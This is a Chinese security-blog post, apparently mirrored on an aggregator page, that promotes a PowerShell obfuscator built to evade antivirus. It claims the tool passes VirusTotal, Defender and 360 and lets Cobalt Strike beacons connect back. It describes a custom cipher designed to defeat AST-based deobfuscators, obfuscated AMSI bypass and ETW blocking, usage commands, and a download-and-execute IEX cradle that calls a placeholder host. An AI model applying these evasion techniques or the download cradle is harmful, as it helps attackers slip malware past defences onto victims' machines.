专栏名称: 橘猫学安全
每日一干货🙂
目录
相关文章推荐
Insight数据库  ·  Nectin-4 ADC ... ·  18 小时前  
药渡  ·  “First-in-class”小分子达3期 ... ·  2 天前  
药渡  ·  当投资人下场做BD ·  昨天  
51好读  ›  专栏  ›  橘猫学安全

一款Powershell免杀混淆器

橘猫学安全  · 公众号  ·  · 2024-05-24 14:00

正文

简单有效的powershell免杀混淆的小工具,VT全绿,可过Defender、360等,可执行上线cobaltstrike等操作。

AMSI混淆绕过+ETW混淆block+powershell命令混淆绕过。

思路

这段时间看了看powershell反混淆相关的内容与论文,目前反混淆效果最好的应该是2022年qax的《Invoke-Deobfuscation: AST-Based and Semantics-Preserving Deobfuscation for PowerShell Scripts》,该论文延续了19年CCS浙大的思路并进行了改进,使用了变量追踪并在AST层面上进行了invoke解混淆,比defender和VT的效果好不少。

不过论文中也提到了当前powershell反混淆研究的难点,一个是自定义function加密解不开,一个是很难去追踪循环中的变量。

由于部分的反混淆工具会在AST层面上进行反混淆的工作,因此powershell自带的大部分加密解密/编码解码的函数是形同虚设的,如[System.Convert]::FromBase64String等。应该尽可能去使用自定义的加密解密的function。

这里针对这两个学术界研究的难点,写了一个简单的powershell混淆器,事实证明效果确实也不错。具体思路如下:

1、自定义加密解密function,function中进行字符串的逆序(逆序没有用powershell自带的函数,防止AST层面上解混淆)与字符的+-运算(不使用异或运算的原因是defender对-bxor监控很严格)。

2、对上述function进行几次循环的运算。

3、为了能让字符有效地输出,最后用base64编码了一下(即便在AST层面上解开也无所谓,因为解开了的内容仍是混淆之后的)。

同时对AMSI绕过与ETW block与powershell命令进行了混淆。

这里仅仅实现了一个简单的混淆器demo,可以自由发挥,后续要是有时间的话我会继续完善。

实验了一下,用qax的反混淆工具与Unit42团队的反混淆工具都是解不开的。

使用的方法

./powershell-obfuscation.ps1 -c "whoami" 来混淆命令 obfuscates command./powershell-obfuscation.ps1 -f "filename" 来混淆指定的文件 obfuscates specific file

结果会输出在当前目录下的bypass.ps1中

The result can be found in bypass.ps1.

以cs的beacon.ps1为例

Take beacon.ps1 as an example

同样可以来混淆 IEX ((new-object net.webclient).downloadstring(' http://ip:port/a '))

混淆前VT如下:

混淆后VT如下

上线

下载地址:

https://github.com/H4de5-7/powershell-obfuscation
如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell
「 超详细 | 分享 」手把手教你如何进行内网渗透
神兵利器 | siusiu-渗透工具管理套件
一款功能全面的XSS扫描器
实战 | 一次利用哥斯拉马绕过宝塔waf






请到「今天看啥」查看全文